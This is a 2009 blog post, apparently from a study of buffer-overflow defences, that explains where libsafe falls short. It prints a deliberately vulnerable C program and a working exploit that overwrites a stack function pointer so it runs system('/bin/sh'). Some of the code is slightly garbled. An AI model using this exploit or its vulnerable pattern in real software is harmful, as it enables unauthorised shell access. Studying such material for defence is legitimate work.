Thursday, December 3, 2009

Chapter 13 Libsafe

13.1   Limitations of libsafe

Libsafe is a dynamic library that is loaded prior to the standard C library and intercepts the call to some functions of the libC; but if the program is linked statically libsafe becomes useless and will not protect the program against buffer overflows.

To determine return address location libsafe relies on a feature of the gcc compiler: the embedded frame pointer. This feature can be easily desactivated by passing the -fomit-frame-pointer option to the compile line. In this case libsafe will not be able to work normally and will not process the safety checks.

Libsafe overrides only a subset of the unsafe functions of the libc.

Finally, Libsafe still allows buffer overflows. Below is the code for strcpy (libsafe version):

char *strcpy(char *dest, const char *src) {

1 if ((len = strnlen(src, max_size)) == max_size)

2 _libsafe_die("Overflow caused by strcpy()");

3 real_memcpy(dest, src, len + 1);

4 return dest; }

Libsafe implements a function that computes the distance between the address of src and the address of the beginning of the current frame pointer. This distance is max_size in the piece of code above. It is the biggest length that src can reach without overwriting the return address. An exception is raised only if this value (max_size) is reached, but nothing prevents us from committing a buffer overflow as long as our overflow is below max_size. Therefore even if libsafe is on, we can still overwrite a pointer to a function or a pointer to a filename (this kind of exploit is also explained in the heap overflow section).

To illustrate the last purpose, here is a small example. It consists in a vulnerable program (vul.c) and the associated exploit (expl.c).

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h>

#define BUFSIZE 64

int this_fun(const char *str);

int main(int argc, char **argv) {

int (*fun)(const char *str);

char buffer[BUFSIZE];

int (*func)(const char *str);

printf("buffer address: %x\n", buffer); fun = (int (*)(const char *str))this_fun; printf("before overflow: fun points to %p\n", fun);

func = (int (*)(const char *str))system; printf("func points to: %p\n", func);

memset(buffer, 0, BUFSIZE);

strcpy(buffer, argv[1]);

printf("after overflow: fun points to %p\n", fun);

(void)(*fun)(argv[2]); return 0;

}

int this_fun(const char *str) {

printf("\nI was passed: %s\n", str); return 0;

}

This program is vulnerable because:

• it contains a function pointer and a buffer in the stack.

• it uses strcpy to fill the buffer.

The danger comes from the fact that strcpy is unbound, thus we can write after the end (which is at buffer+BUFSIZE) and overwrites fun. The overwritten fun could for instance points to system now instead of this_fun.

This is realized through the following exploit:

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h>

#define BUFSIZE 76 /* the estimated diff between funcptr/buf */ #define VULPROG "./lib_vul" /* vulnerable program location */

#define CMD "/bin/sh" /* command to execute if successful */

#define ERROR -1

int main(int argc, char **argv) {

register int i; u_long sysaddr; char buf[80];

sysaddr = (u_long)&system - atoi(argv[1]); printf("trying system() at 0x%lx\n", sysaddr);

memset(buf,   'A', sizeof(buf));

/* reverse byte order (on a little endian system)  (ntohl equiv) */ for (i = 0; i < sizeof(sysaddr);

buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

execl(VULPROG, VULPROG, buf, CMD, NULL); return 0;

}

sysaddr aims to guess the address of the system function (inside the libc) for the vulnerable program. Then it is copied inside buf which will be passed to the vulnerable program and will overwrite the value of fun (so after that fun will point to system). The argument of system is passed through the second argument of the vulnerable program (CMD).

The last exploit presents some serious drawbacks. First the conditions required for the program to be vulnerable are quite impressive. It needs a pointer to function, a buffer and the use of an unsafe function (such as strcpy, ... )

It may seem that these are unreal conditions to fullfill, but there exist some progams with this memory configuration.

13.2 Benefits

Libsafe is a good way to prevent a system from buffer overflow. Its installation on a machine does not require to compile the kernel or to make big changes in the operating system; it is very easy to install.

Libsafe is very efficient and the performances are quite similar whether we use it or not. For some functions (such as strcat) the reimplementation in the libsafe is even faster than the original version.

If we consider all the practical exploits we read during our study, libsafe can stop all (most) of them. Lots (most) of exploits rely on strcpy or gets to corrupt the stack, therefore they become inefficient on a system running libsafe.

No comments:

Post a Comment